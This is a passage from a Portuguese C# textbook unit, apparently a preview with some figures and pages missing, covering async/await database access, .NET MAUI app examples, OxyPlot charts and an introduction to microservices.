Prévia do material em texto
236
Unidade IV
Unidade IV
7 TÉCNICAS AVANÇADAS E PRÁTICAS SEGURAS EM C#
Dominar técnicas avançadas em C# permite aos desenvolvedores explorar plenamente o potencial
da linguagem para criar soluções sofisticadas, incluindo: programação assíncrona para melhorar a
escalabilidade e a responsividade das aplicações; expressões lambda e LINQ para consultas de dados
mais concisas e expressivas; e padrões de design avançados (como injeção de dependência) para facilitar
a manutenção e testar aplicações ao desacoplar componentes.
Quanto às práticas de programação segura em C#, para mitigar vulnerabilidades comuns – como
injeção de SQL e XSS –, desenvolvedores devem adotar práticas recomendadas de segurança, que incluem
validação e saneamento de entradas do usuário, gerenciamento seguro de sessões e criptografia de
dados sensíveis. Utilizando os recursos de segurança fornecidos por C# e frameworks associados,
pode‑se construir aplicações mais seguras, protegendo as informações do usuário e a integridade do
sistema contra ataques maliciosos.
Autenticação e autorização são componentes fundamentais de quase todas as aplicações
modernas, servindo para verificar a identidade do usuário (autenticação) e determinar seus direitos
de acesso (autorização). É essencial implementar sistemas seguros de login e registro – utilizando
tecnologias‑padrão como OAuth e JSON Web Tokens (JWT) – para controlar o acesso a recursos
sensíveis e personalizar a experiência do usuário com base em seus privilégios. Essas práticas não
apenas reforçam a segurança da aplicação, mas também contribuem para a conformidade com
regulamentos de proteção de dados e privacidade.
Neste tópico abordaremos tanto as técnicas avançadas quanto a segurança das aplicações.
7.1 Técnicas de programação assíncrona em C# (async e await)
Programação assíncrona é uma técnica fundamental que permite executar operações de longa
duração, como acesso a recursos da web, leitura de arquivos ou operações de banco de dados, sem bloquear
a thread principal de uma aplicação – abordagem que melhora significativamente a responsividade e a
eficiência das aplicações, especialmente aquelas com interfaces de usuário ou que realizam múltiplas
operações simultaneamente.
As palavras‑chave async e await são elementos centrais nessa técnica, introduzidas no C# 5.0,
facilitando a escrita de código assíncrono de maneira clara e legível. Async num método indica que
ele é assíncrono e pode conter uma ou mais expressões await, que por sua vez sinalizam a suspensão
da execução do método até que a operação assíncrona seja concluída. Isso permite que outras operações
continuem a ser executadas na thread principal, como atualização de interfaces do usuário ou
processamento de outros eventos. Quando a operação assíncrona termina, o método é retomado a
partir do ponto de suspensão.
237
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Uma característica importante da programação assíncrona em C# são os objetos Task ou Task,
que representam operações assíncronas. Uma Task pode retornar um valor (se for do tipo Task) ou
não (se for apenas Task). Ao usar await em uma Task, o compilador gera automaticamente o código
necessário para tratar a continuação dessa tarefa, o que simplifica a gestão de callbacks e o tratamento
de exceções em comparação com abordagens mais antigas também baseadas em callbacks.
Async e await permitem uma abordagem mais declarativa à programação assíncrona, na qual o
fluxo lógico do código é mais fácil de seguir e entender. Isso contrasta com abordagens anteriores,
que frequentemente exigiam um manejo explícito de threads, callbacks e gerenciamento de estado,
tornando o código mais complexo e propenso a erros. Além disso, a programação assíncrona em C#
suporta a propagação de exceções de maneira intuitiva. Quando uma operação assíncrona falha, a
exceção é capturada e pode ser tratada onde a operação é aguardada, permitindo um tratamento
de erro centralizado e simplificado.
No nosso jogo dos mosqueteiros, a programação assíncrona pode ser aplicada no carregamento
assíncrono de dados do jogo. Ao iniciá‑lo, as informações dos jogadores e configurações do tabuleiro
podem ser carregadas do SQL Server assincronamente (a figura 84 ilustra esse cenário).
1. public async Task CarregarDadosDoJogoAsync()
2. {
3. using (var conexao = new SqlConnection(“stringDeConexaoAoSqlServer”))
4. {
5. await conexao.OpenAsync();
6. // Carrega os dados do jogo de forma assíncrona
7. var comando = new SqlCommand(“SELECT * FROM ConfiguracoesDoJogo”,
conexao);
8. using (var reader = await comando.ExecuteReaderAsync())
9. {
10. while (await reader.ReadAsync())
11. {
12. // Processa os dados do jogo
13. }
14. }
15. }
16. }
Figura 84 – Programação assíncrona no jogo dos mosqueteiros
238
Unidade IV
Na linha 1, o método CarregarDadosDoJogoAsync foi projetado para carregar dados do jogo de um
banco de dados SQL Server. O método é marcado com a palavra‑chave async, indicando que ela opera de
forma assíncrona; ou seja, a execução da função permite que o aplicativo continue rodando enquanto
espera que a operação de carregamento dos dados seja concluída, melhorando a responsividade
do aplicativo.
Inicialmente, o método cria uma conexão com o banco de dados SQL Server. A conexão é estabelecida
utilizando a classe SqlConnection, instanciada passando uma string de conexão como argumento (como
vimos, essa string contém as informações necessárias para se conectar ao banco de dados, como nome
do servidor, banco de dados a ser acessado, credenciais de acesso, entre outros).
Criada a conexão, o método prossegue para abri‑la de forma assíncrona com o método OpenAsync
(linha 5), permitindo que outras operações continuem sendo executadas sem bloqueio enquanto a
conexão com o banco de dados é estabelecida. Aberta a conexão, um comando SQL é criado utilizando
a classe SqlCommand (linha 7), a qual contém uma consulta SQL que, no caso, é SELECT * FROM
ConfiguracoesDoJogo, destinada a selecionar todos os registros da tabela ConfiguracoesDoJogo no
banco de dados. O comando se associa à conexão de banco de dados aberta anteriormente.
O próximo passo (linha 8) é executar o comando de forma assíncrona para obter um leitor de dados
através do método ExecuteReaderAsync da classe SqlCommand. Representado pela variável reader, esse
leitor permite percorrer os resultados da consulta SQL linha por linha. Dentro do bloco using associado
ao leitor de dados, um laço while itera os resultados da consulta.
A condição do laço (linha 10) utiliza o método ReadAsync do leitor de dados, que o avança para a
próxima linha de resultados de forma assíncrona. Se houver mais linhas, o corpo do laço é executado, e
os dados do jogo podem ser processados de acordo com as necessidades do aplicativo.
Lembrete
A instrução using garante que os recursos utilizados – como a
conexão com o banco e o leitor de dados – sejam corretamente liberados
após o uso, mesmo em caso de exceções. Isso é essencial para evitar
vazamentos de recursos, que podem levar a problemas de desempenho ou
falhas no aplicativo.
Esse trecho de código demonstra como realizar operações de banco de dados de forma assíncrona
em C#, utilizando padrões de programação modernos para manter a aplicação responsiva enquanto lida
com operações potencialmente demoradas, como ler dados de um banco. Para trabalhar com operações
assíncronas em C# usando async e await, há vários métodos disponíveis para operações de I/O, acesso a
banco de dados e outras tarefas de forma assíncrona.
239
PROGRAMAÇÃO ORIENTADA A OBJETOS II
O quadro 22 enumera alguns dos métodos úteis para operações assíncronas, incluindo os mencionados
(OpenAsync, ExecuteReaderAsync e ReadAsync), além de outros que podem ser relevantes dependendo
do contexto.
Quadro 22 – Métodos úteis para operações assíncronas
Classe/interface Método Descrição
SqlConnection OpenAsync Abre uma conexão com o banco de dadosbotão para adicionar tarefas (linha 7) e uma lista para mostrar as tarefas adicionadas (linha 8 à 25).
1.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
267
PROGRAMAÇÃO ORIENTADA A OBJETOS II
14.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
Figura 103 – MainPage.xaml do aplicativo de Lista de Tarefas
Já na figura 104 implementamos a lógica para adicionar novas tarefas à lista e remover tarefas
quando completadas. Note que na linha 8 usamos um ObservableCollection para armazená‑las;
isso permite que a interface de usuário seja atualizada automaticamente quando novas tarefas
são adicionadas ou removidas da coleção, graças ao mecanismo de notificação de mudanças do
ObservableCollection.
A interface de usuário inclui um CollectionView para exibir a lista de tarefas, um Entry para inserir
novas tarefas e um Button para adicionar a tarefa inserida à lista. Utilizamos um SwipeView dentro do
DataTemplate do CollectionView para permitir que o usuário deslize uma tarefa para removê‑la da lista
– interação comum em aplicativos móveis.
1. using Microsoft.Maui.Controls;
2. using System.Collections.ObjectModel;
3.
4. namespace SuaAplicacao
5. {
6. public partial class MainPage : ContentPage
7. {
8. public ObservableCollection Tasks { get; set; } = new
ObservableCollection();
9.
268
Unidade IV
10. public MainPage()
11. {
12. InitializeComponent();
13. TasksList.ItemsSource = Tasks;
14. }
15.
16. private void AddTaskClicked(object sender, EventArgs e)
17. {
18. if (!string.IsNullOrWhiteSpace(TaskEntry.Text))
19. {
20. Tasks.Add(TaskEntry.Text);
21. TaskEntry.Text = string.Empty; // Limpa o campo de entrada
22. }
23. }
24.
25. private void OnDeleteTask(object sender, EventArgs e)
26. {
27. var swipeItem = (SwipeItem)sender;
28. var task = (string)swipeItem.BindingContext;
29. Tasks.Remove(task);
30. }
31. }
32. }
Figura 104 − MainPage.xaml.cs do aplicativo de Lista de Tarefas
A interação entre o MainPage.xaml e o MainPage.xaml.cs num projeto .NET MAUI é exemplo primordial
de como a lógica de programação e a interface do usuário (UI) se complementam para criar aplicativos
ricos e interativos. Essa interação é facilitada pelo modelo de programação baseado em eventos e pelo
sistema de data binding (vinculação de dados) do .NET MAUI, permitindo uma separação clara entre o
design da UI e a lógica de negócios. No arquivo MainPage.xaml, os desenvolvedores definem a estrutura
e o layout da interface do usuário usando Extensible Application Markup Language (XAML).
269
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Lembrete
Como vimos no tópico 5, XAML é uma linguagem de marcação que
permite criar interfaces de usuário de forma declarativa. Nesse contexto,
elementos da UI como botões, caixas de texto, listas e outros controles são
especificados com suas propriedades, eventos e data bindings – elementos
essenciais para construir o aplicativo visualmente e definir como os usuários
interagem com ele.
Por outro lado, o arquivo MainPage.xaml.cs contém a lógica por trás da interface definida no XAML.
Esse arquivo é conhecido como code‑behind e é onde os manipuladores de eventos são implementados,
além de qualquer outra lógica de negócios necessária para o aplicativo funcionar. O code‑behind
interage com os elementos da UI definidos no XAML, respondendo a eventos como cliques de botão,
entradas do usuário e outras ações para executar tarefas específicas.
A conexão entre o XAML e seu code‑behind é estabelecida automaticamente pelo .NET MAUI,
utilizando convenções de nomenclatura e o mecanismo de eventos. Por exemplo, quando um usuário
clica num botão definido no MainPage.xaml, o .NET MAUI procura por um manipulador de eventos
correspondente no MainPage.xaml.cs. Se encontrado, o manipulador de eventos é executado, permitindo
que a lógica de negócios associada seja seguida.
Lembrete
Também vimos no tópico 5 que data binding é uma técnica crucial para
sincronizar dados entre a UI e a lógica de negócios. Com ele, propriedades
de elementos da UI podem ser automaticamente atualizadas com base
em dados do modelo ou variáveis definidas no code‑behind. Isso facilita
a atualização dinâmica da UI em resposta a mudanças nos dados, sem a
necessidade de manipulação direta dos elementos da UI no código.
No exemplo da lista de tarefas, o ObservableCollection utilizado para armazená‑las é
vinculado à CollectionView na UI; isso significa que qualquer adição ou remoção de tarefas na
coleção refletirá automaticamente na CollectionView, graças ao mecanismo de notificação de
mudanças do ObservableCollection. Esse tipo de interação entre XAML e code‑behind promove um
desenvolvimento mais eficiente e uma experiência mais fluida e responsiva.
Compilar e executar um aplicativo .NET MAUI para Android e iOS envolve uma série de passos que
podem ser seguidos principalmente através do Visual Studio, que fornece um ambiente integrado para
desenvolver, depurar e implantar aplicativos multiplataforma. São pré‑requisitos para esse processo:
270
Unidade IV
• SDK do Android e Xcode para desenvolvimento iOS (somente para macOS). O Visual Studio para
Mac automaticamente gerencia essas dependências, mas para Windows é necessário o Xcode
instalado em um Mac para compilação iOS.
• Um dispositivo Android ou iOS para teste ou um emulador/simulador configurado através do
Visual Studio.
A seguir, o processo de compilação da plataforma Android:
• Abrir o projeto: inicie o Visual Studio e abra seu projeto .NET MAUI.
• Definir o dispositivo de destino: na barra de ferramentas do Visual Studio, você encontrará
um menu dropdown para selecionar o dispositivo de destino. Para Android, você pode escolher
entre emuladores Android disponíveis ou um dispositivo físico conectado ao seu computador.
Se necessário, configure um emulador Android através do Android Device Manager.
• Compilar e executar: com o dispositivo de destino selecionado, pressione F5 ou clique em Iniciar
Depuração para compilar e executar o aplicativo. O Visual Studio o compila, o empacota como um
APK para Android e o instala no dispositivo ou emulador selecionado.
A seguir, o detalhamento para dispositivos iOS:
• Conexão com o Mac: para compilar e executar aplicativos iOS, seu Visual Studio no Windows
precisa estar conectado a um Mac com o Xcode instalado. O Visual Studio utilizará esse Mac
para compilar o código iOS. Configure a conexão seguindo as instruções na documentação do
Visual Studio.
• Selecionar dispositivo de destino: como no Android, selecione o destino de execução
para iOS na barra de ferramentas. Pode ser um simulador iOS no Mac conectado ou um
dispositivo físico iOS.
• Compilar e executar: pressione F5 ou clique em Iniciar Depuração para iniciar a compilação
e execução no dispositivo ou simulador iOS selecionado. O Visual Studio compila o aplicativo,
empacota‑o para iOS e o instala no destino escolhido.
Seguindo esses passos, você poderá compilar e executar seu aplicativo.NET MAUI em dispositivos
Android e iOS, permitindo testar sua funcionalidade e aparência em diferentes plataformas. Durante
a execução, o Visual Studio oferece poderosas ferramentas de depuração, permitindo inspecionar
variáveis, executar o código passo a passo (debug step‑through) e visualizar os logs de saída.
É importante manter o SDK do Android e o Xcode atualizados para garantir compatibilidade com as
versões mais recentes dos sistemas operacionais e do .NET MAUI. Além disso, para executar aplicativos em
dispositivos físicos iOS, é necessário configurar certificados e perfis de provisionamento no Xcode; isso
pode ser gerenciado automaticamente pelo Xcode para contas de desenvolvedor Apple ou configurado
manualmente para contas específicas.
271
PROGRAMAÇÃO ORIENTADA A OBJETOS II
A seguir, o processo de compilação no Mac:
• Abrir o projeto: inicie o Visual Studio para Mac e abra o projeto .NET MAUI que você deseja
compilar para macOS.
• Configurar o projeto para macO S: no Visual Studio para Mac, verifique se o projeto .NET MAUI
inclui um projeto específico para macOS dentro da solução. O .NET MAUI permite compartilhar
código entre plataformas, mas cada plataforma‑alvo (iOS, Android, macOS, Windows) pode ter
especificidades. Se necessário, ajuste as configurações específicas do macOS no projeto, como
ícones, informações de bundle e outras configurações de manifest.
• Selecionar o target de execução: na barra de ferramentas superior, escolha o target de
compilação para macOS. Se estiver trabalhando em uma solução com múltiplos projetos (por
exemplo, iOS, Android, macOS), certifique‑se de selecionar macOS como projeto de inicialização.
• Compilar e executar: pressione ⌘ + Enter ou clique no botão Iniciar para compilar e executar
o aplicativo. O Visual Studio para Mac vai compilar o aplicativo, empacotá‑lo para macOS e
iniciá‑lo no seu Mac.
Compilar um aplicativo .NET MAUI para macOS é um processo similar ao de iOS, uma vez que
ambos usam o sistema operacional base da Apple. No entanto, diferentemente do iOS, a compilação
para macOS pode ser feita diretamente num Mac, sem precisar de uma máquina Windows conectada.
Todavia, o processo tem alguns pré‑requisitos:
• Visual Studio para Mac: certifique‑se de ter o Visual Studio para Mac instalado com a carga
de trabalho de desenvolvimento .NET MAUI. Essa carga inclui as ferramentas necessárias para
desenvolver, compilar e depurar aplicativos .NET MAUI em macOS.
• macOS SDK: o SDK necessário para desenvolver aplicativos macOS é parte do Xcode, então
certifique‑se de ter a versão mais recente do Xcode instalada em seu Mac.
Compilando o aplicativo diretamente no macOS com o Visual Studio para Mac, podemos
facilmente desenvolver, testar e depurar aplicações .NET MAUI destinadas aos usuários de
Mac, aproveitando as vantagens da base de código compartilhado do .NET MAUI para manter
a consistência entre plataformas diferentes. O Visual Studio para Mac oferece ferramentas de
depuração completas que você pode usar para depurar seu aplicativo enquanto ele está rodando em
macOS, incluindo inspecionar variáveis, executar passo a passo do código e visualizar logs de saída.
Também é importante manter o Xcode e o macOS SDK atualizados para garantir que seu aplicativo
seja compatível com as versões mais recentes do macOS. Para distribuir um aplicativo macOS, seja pela
Mac App Store, seja por outros meios, você precisa seguir as diretrizes de empacotamento e distribuição
da Apple, incluindo a assinatura de código e o sandboxing do aplicativo.
272
Unidade IV
Saiba mais
Há vários livros e recursos sobre publicação e distribuição de aplicativos
para iOS e Android, acentuando as melhores práticas, diretrizes de plataformas
e estratégias para maximizar o alcance e o sucesso do aplicativo. Embora o
cenário tecnológico evolua rapidamente e recursos online frequentemente
sejam atualizados com as últimas informações, os livros podem oferecer uma
base sólida de conhecimento.
Para a plataforma iOS, estes são úteis:
HOSS, O. App Store optimization: a step‑by‑step guide to boosting your
app’s organic downloads. [S.l.]: [s.n.], 2019.
RAYWENDERLICH TUTORIAL TEAM; REA, P.; RUSH, K. iOS app distribution
& best practices. Cupertino: Apple Education, 2021.
Para a plataforma Android, sugerimos:
JACKSON, W. Android apps for absolute beginners. 3. ed. Nova York:
Apress, 2014.
SANDBERG, R.; ROLLINS, M. The business of Android apps development:
making and marketing apps that succeed on Google Play, Amazon Appstore
and more. 2. ed. Nova York: Apress, 2013.
No mais, tanto a Apple quanto o Google oferecem extensivas
documentações e guias online atualizados que são indispensáveis para
desenvolvedores, pois oferecem informações atualizadas sobre publicação,
revisão de aplicativos, diretrizes de design e muito mais.
Participar de comunidades online de desenvolvedores – como Stack
Overflow, Reddit e fóruns de desenvolvimento de aplicativos – pode ser
muito útil para obter conselhos práticos, dicas atualizadas e soluções para
problemas de publicação.
REDDIT. Disponível em: https://tinyurl.com/2c2zeynr. Acesso em:
26 mar. 2024.
STACK OVERFLOW. Disponível em: https://stackoverflow.com/. Acesso
em: 26 mar. 2024.
A biblioteca Microsoft.Maui.Controls no .NET MAUI fornece uma vasta gama de classes e métodos
úteis para desenvolver interfaces de usuário ricas e interativas para aplicativos multiplataforma.
273
PROGRAMAÇÃO ORIENTADA A OBJETOS II
Quadro 26 – Classes e métodos úteis em Microsoft.Maui.Controls
Classe Método Descrição
Page
DisplayAlert Mostra uma caixa de diálogo de alerta com título, mensagem e botões
de ação
DisplayPromptAsync Exibe uma caixa de diálogo que solicita ao usuário uma entrada de texto
NavigationPage
PushAsync Navega para uma nova página de forma assíncrona
PopAsync Retorna à página anterior na pilha de navegação de forma assíncrona
ListView / CollectionView ScrollTo Desloca a vista para um item específico ou índice na lista
Button Clicked Evento disparado quando o botão é clicado
TapGestureRecognizer Tapped Evento disparado quando uma vista é tocada
SwipeView SwipeEnded Evento disparado quando um gesto de deslize termina
Shell GoToAsync Navega para uma rota especificada de forma assíncrona, suportando
navegação complexa e parâmetros
Entry TextChanged Evento disparado quando o texto da entrada é alterado
Picker SelectedIndexChanged Evento disparado quando o índice selecionado é alterado
ScrollView ScrollToAsync Desloca o conteúdo do ScrollView para uma posição específica de
forma assíncrona
Image Source Propriedade que define a fonte da imagem. Pode ser um URI, arquivo
local ou recurso incorporado
BindableObject SetValue, GetValue Métodos para definir e obter o valor de uma propriedade vinculável
GestureRecognizer Diversos métodos
específicos
Base para gestos reconhecíveis na UI, como tocar, deslizar e outros
gestos personalizados
O quadro destaca alguns dos métodos úteis dentro dessa biblioteca, focando componentes
comuns de UI e interações. Ele não é exaustivo, mas oferece uma visão geral de funcionalidades‑chave
que você provavelmente utilizará em seus projetos .NET MAUI.
1.
5.
10.
16.
20.
21./>
26.
30.
34.
38.
39.
40.
Figura 105 – Aplicativo de relacionamentos: MainPage.xaml
Vamos utilizar alguns desses métodos para criar uma tela inicial a um aplicativo de relacionamentos
que envolve a elaboração de uma interface de usuário que lhe permita visualizar perfis de forma intuitiva,
geralmente através de um sistema de swipe. A figura 105 apresenta a estrutura dessa tela inicial, incluindo
a implementação de um card de perfil que os usuários podem deslizar para a esquerda ou direita para
expressar desinteresse ou interesse, respectivamente.
275
PROGRAMAÇÃO ORIENTADA A OBJETOS II
O exemplo foca a estrutura da UI e alguns elementos interativos essenciais, como os botões de ação
(a lógica de backend para buscar perfis e registrar as ações do usuário não será abordada aqui). A tela
inicial consiste em um Frame (linha 10 à 15) que contém uma Image representando o perfil do usuário
(linha 16 à 19). Abaixo da imagem há um Label para o nome do perfil e um StackLayout (linha 26 à 38)
com dois Buttons para as ações de like e dislike (linha 34 à 37 e 30 à 33, respectivamente).
1. using Microsoft.Maui.Controls;
2. using System;
3.
4. namespace TinderClone
5. {
6. public partial class MainPage : ContentPage
7. {
8. public MainPage()
9. {
10. InitializeComponent();
11. }
12.
13. private void DislikeButton_Clicked(object sender, EventArgs e)
14. {
15. // Lógica para deslizar o perfil para a esquerda ou registrar um
“dislike”
16. DisplayAlert(“Dislike”, “Você deslizou para a esquerda.”, “OK”);
17. }
18.
19. private void LikeButton_Clicked(object sender, EventArgs e)
20. {
21. // Lógica para deslizar o perfil para a direita ou registrar um
“like”
22. DisplayAlert(“Like”, “Você deslizou para a direita.”, “OK”);
23. }
24. }
25. }
Figura 106 – Aplicativo de relacionamentos: MainPage.xaml.cs
276
Unidade IV
Os eventos Clicked dos botões são manipulados no code‑behind MainPage.xaml.cs (figura 106) para
mostrar uma mensagem simples. Na prática, esses manipuladores de eventos conteriam a lógica para atualizar
a interface do usuário e comunicar sua ação ao backend.
Observação
Esse exemplo é bastante simplificado. Um aplicativo real semelhante ao
Tinder (Tyson et al., 2016) teria funcionalidades adicionais, como animações
de deslizamento, uma pilha de cartões de perfis em vez de um único perfil por
vez e integração com um serviço de backend para buscar perfis e registrar as
escolhas do usuário. Implementar essas funcionalidades adicionais requer um
conhecimento mais profundo de .NET MAUI, padrões de design de software e
possivelmente bibliotecas adicionais para animações e gestos de deslizamento.
Os exemplos de código‑fonte neste tópico não constituem plenamente o MVVM. Nesse padrão, a
interação direta entre View e Model é desencorajada; em vez disso, a View se comunica com o ViewModel,
que por sua vez lida com o Model. Isso difere dos exemplos anteriores, nos quais MainPage.xaml.cs
(o code‑behind) contém lógica que manipula diretamente os elementos da UI e responde a eventos,
o que se alinha mais com o padrão tradicional de desenvolvimento de interface do usuário, mas não
separa completamente a lógica de negócios da UI.
Para adotar plenamente o MVVM em um projeto .NET MAUI, devemos criar classes ViewModel
separadas que o MainPage.xaml observaria, utilizando mecanismos como data binding e comandos para
interação. Isso não apenas desacopla a lógica de apresentação do código da UI, mas também facilita o
teste unitário do código de apresentação sem precisar interagir com a UI real.
8.3 Gráficos e visualização de dados
No âmbito do desenvolvimento de software, a capacidade de visualizar dados de forma eficaz é
uma necessidade crítica, especialmente quando se trata de programação multiplataforma e mobile
utilizando C#, pois ajuda a interpretar e analisar dados complexos, além de facilitar a tomada de
decisões informadas. Nesse contexto, torna‑se fundamental escolher bibliotecas adequadas para criar
gráficos dinâmicos em C#; ferramentas como OxyPlot e LiveCharts emergem como soluções poderosas e
oferecem uma vasta gama de funcionalidades que permitem aos desenvolvedores construir visualizações
de dados interativas e atraentes com relativa facilidade.
OxyPlot, por exemplo, é uma biblioteca de plotagem open source e cross‑platform que suporta
uma ampla variedade de gráficos, desde linhas e barras até gráficos de área e pizza. Sua integração com
ambientes como WPF permite que desenvolvedores criem aplicativos ricos em gráficos para desktop.
Além disso, é conhecido por sua alta performance e capacidade de personalização, o que permite aos
desenvolvedores ajustar os gráficos para atender às necessidades de seus projetos.
277
PROGRAMAÇÃO ORIENTADA A OBJETOS II
1. using OxyPlot;
2. using OxyPlot.Series;
3.
4. public class MainViewModel
5. {
6. public PlotModel LineChartModel { get; private set; }
7.
8. public MainViewModel()
9. {
10. LineChartModel = new PlotModel { Title = “Exemplo de Gráfico de Linha”
};
11.
12. var lineSeries = new LineSeries
13. {
14. Title = “Dados Exemplo”,
15. MarkerType = MarkerType.Circle,
16. MarkerSize = 4,
17. MarkerStroke = OxyColors.White
18. };
19.
20. // Adicionando dados ao gráfico
21. lineSeries.Points.Add(new DataPoint(0, 10));
22. lineSeries.Points.Add(new DataPoint(1, 25));
23. lineSeries.Points.Add(new DataPoint(2, 36));
24. lineSeries.Points.Add(new DataPoint(3, 49));
25. lineSeries.Points.Add(new DataPoint(4, 64));
26.
27. LineChartModel.Series.Add(lineSeries);
28. }
29. }
Figura 107 – OxyPlot para gerar gráficos com WPF
278
Unidade IV
1.
6.
7.
8.
9.
Figura 108 – Interface XAML para utilização do OxyPlot no WPF
O exemplo da figura 107 cria um aplicativo WPF que exibe um gráfico de linha representando
uma série de dados. Para começar, é necessário adicionar a referência ao OxyPlot e ao OxyPlot.Wpf no
projeto, o que pode ser feito através do NuGet Package Manager, procurando por OxyPlot e OxyPlot.Wpf
e instalando‑os no projeto. Para visualizar o gráfico no WPF, é necessário adicionar o controle PlotView
ao XAML (linha 7 da figura 108) e vinculá‑lo ao modelo de gráfico definido no ViewModel.
Na linha 4 da figura 107, o MainViewModel cria o modelo do gráfico (PlotModel) e adiciona uma
série de linhas (LineSeries) ao modelo, preenchida com pontos de dados que formam a linha no
gráfico (linha 21 à 25 da figura 107); o título do gráfico e da série de linhas é definido para facilitar a
identificação. O gráfico é então renderizado no WPF utilizando o controle PlotView, que é vinculado
ao modelo de gráfico (LineChartModel) criado no ViewModel.
Para exemplificar a capacidade do OxyPlot em criar gráficos mais sofisticados e visualmente
atraentes, consideremos a criação de um gráfico de área empilhada, útil para visualizar diferentes
componentes ou categorias de dados que compõem um total ao longo do tempo, permitindo
uma compreensão visual intuitiva de como cada parte contribui para o todo. Na figura 109 será
desenvolvido um gráfico de área empilhada utilizando o OxyPlot em um projeto WPF – exemplo
projetado para ilustrar as vendas de três categorias diferentesao longo de cinco meses, oferecendo
insights visuais sobre o desempenho de vendas de cada categoria.
Ao iniciar a aplicação, o construtor da classe MainWindow (linha 8) é chamado, executando inicialmente
o método InitializeComponent, responsável por inicializar os componentes definidos no XAML, preparando
a interface do usuário para interação. Na linha 13, após essa inicialização, o método ConfigurarGrafico é
invocado para configurar o gráfico de áreas empilhadas. Dentro dele, um novo objeto PlotModel é criado,
representando o modelo do gráfico a ser exibido. Esse objeto é configurado com um título que descreve o
propósito do gráfico – Vendas por Categoria –, fornecendo um contexto claro para o usuário.
Para estruturar o gráfico, dois eixos são adicionados ao modelo: um LinearAxis para representar
as vendas no eixo Y – configurado para iniciar em 0 e rotulado como Vendas – e um CategoryAxis
279
PROGRAMAÇÃO ORIENTADA A OBJETOS II
para o eixo X – representando os meses ao longo dos quais as vendas são registradas. O segundo é
detalhadamente rotulado com os meses de Jan a Mai, estabelecendo uma base temporal para analisar
os dados (linha 25 à 29).
Para visualizar as vendas de cada categoria, foram criadas três instâncias de AreaSeries, cada
uma representando uma categoria de vendas com uma cor distinta. Essas séries são preenchidas com
dados de vendas fictícios pelo método AddDataPoints, que atribui pontos de dados às séries de forma
acumulativa. Ele recebe uma série e uma matriz de valores como argumentos, utilizando um acumulador
para somar os valores de vendas.
Para cada valor na matriz, um ponto de dados é adicionado à série, onde o eixo X é o índice do valor
na matriz (representando o mês) e o eixo Y é o valor acumulado das vendas até aquele ponto. Isso cria o
efeito de áreas empilhadas, no qual cada série começa no topo da anterior, visualizando como as vendas
de cada categoria contribuem para o total acumulado ao longo do tempo.
1. using System.Windows;
2. using OxyPlot;
3. using OxyPlot.Axes;
4. using OxyPlot.Series;
5.
6. namespace OxyPlotDemo
7. {
8. public partial class MainWindow : Window
9. {
10. public MainWindow()
11. {
12. InitializeComponent();
13. ConfigurarGrafico();
14. }
15.
16. private void ConfigurarGrafico()
17. {
18. var modelo = new PlotModel { Title = “Vendas por Categoria” };
19.
20. // Configuração do eixo Y
21. modelo.Axes.Add(new LinearAxis { Position = AxisPosition.Left,
Minimum = 0, Title = “Vendas” });
280
Unidade IV
22.
23. // Configuração do eixo X
24. var categoryAxis = new CategoryAxis { Position =
AxisPosition.Bottom, Title = “Mês” };
25. categoryAxis.Labels.Add(“Jan”);
26. categoryAxis.Labels.Add(“Fev”);
27. categoryAxis.Labels.Add(“Mar”);
28. categoryAxis.Labels.Add(“Abr”);
29. categoryAxis.Labels.Add(“Mai”);
30. modelo.Axes.Add(categoryAxis);
31.
32. // Dados de exemplo para três categorias
33. var categoryA = new AreaSeries { Title = “Categoria A”, Color =
OxyColor.FromRgb(255, 99, 71) };
34. var categoryB = new AreaSeries { Title = “Categoria B”, Color =
OxyColor.FromRgb(135, 206, 250) };
35. var categoryC = new AreaSeries { Title = “Categoria C”, Color =
OxyColor.FromRgb(50, 205, 50) };
36.
37. // Adicionando dados ao gráfico
38. AddDataPoints(categoryA, new double[] { 10, 15, 18, 32, 40 });
39. AddDataPoints(categoryB, new double[] { 20, 25, 30, 35, 45 });
40. AddDataPoints(categoryC, new double[] { 30, 35, 40, 45, 50 });
41.
42. // Adiciona as séries ao modelo
43. modelo.Series.Add(categoryA);
44. modelo.Series.Add(categoryB);
45. modelo.Series.Add(categoryC);
46. // Atribui o modelo ao PlotView
47. plotView.Model = modelo;
48. }
49.
50. private void AddDataPoints(AreaSeries series, double[] values)
51. {
52. double accumulator = 0;
281
PROGRAMAÇÃO ORIENTADA A OBJETOS II
53. for (int i = 0; i
6.
7.
8.
9.
Figura 110 – OxyPlot: XAML como exemplo de gráfico de Vendas
282
Unidade IV
Figura 111 – Gráfico de vendas gerado com o OxyPlot
Já o LiveCharts oferece uma abordagem moderna e flexível para visualizar dados em C#. Com
suporte a animações e interatividade, essa biblioteca se destaca pela capacidade de atualizar os gráficos
em tempo real, tornando‑a ideal para aplicações que requerem exibição de dados dinâmicos. Além disso,
a facilidade de integração com o .NET Multi‑platform App UI (.NET MAUI) expande significativamente as
possibilidades para desenvolver aplicativos mobile ricos em dados.
A escolha entre OxyPlot, LiveCharts ou outras bibliotecas similares depende das necessidades do
projeto, incluindo o tipo de dados a visualizar, o nível de interatividade desejado e as plataformas‑alvo.
Enquanto OxyPlot pode ser mais adequado para aplicações que exigem gráficos altamente personalizáveis
e de alto desempenho, LiveCharts pode ser preferível para projetos que se beneficiam de animações
suaves e atualizações em tempo real.
A integração dessas bibliotecas com ambientes como WPF e .NET MAUI facilita o desenvolvimento de
aplicações multiplataforma em C# e garante que os aplicativos desenvolvidos sejam capazes de oferecer
uma experiência de usuário rica e interativa, independentemente do dispositivo. Essa abordagem
melhora a acessibilidade e a usabilidade dos aplicativos e abre novas possibilidades para explorar dados,
permitindo uma interação mais intuitiva e significativa.
8.4 Microsserviços
São uma abordagem arquitetônica (Newman, 2021) para desenvolver aplicações e consistem em
dividir uma aplicação num conjunto de serviços menores, cada um executando um processo único
e comunicando-se através de APIs leves. Uma API leve refere‑se a uma interface projetada para
ser simples, eficiente e fácil de usar, com o objetivo de minimizar o uso de recursos computacionais,
como largura de banda e memória, e facilitar a comunicação rápida entre diferentes serviços ou
componentes de software. Em contraste com APIs mais pesadas ou complexas – que podem incluir
uma grande quantidade de dados ou exigir processamentos intensivos –, as APIs leves são otimizadas
para trocas de dados rápidas e eficazes, frequentemente usando formatos compactos de mensagem
e protocolos de comunicação de alto desempenho.
283
PROGRAMAÇÃO ORIENTADA A OBJETOS II
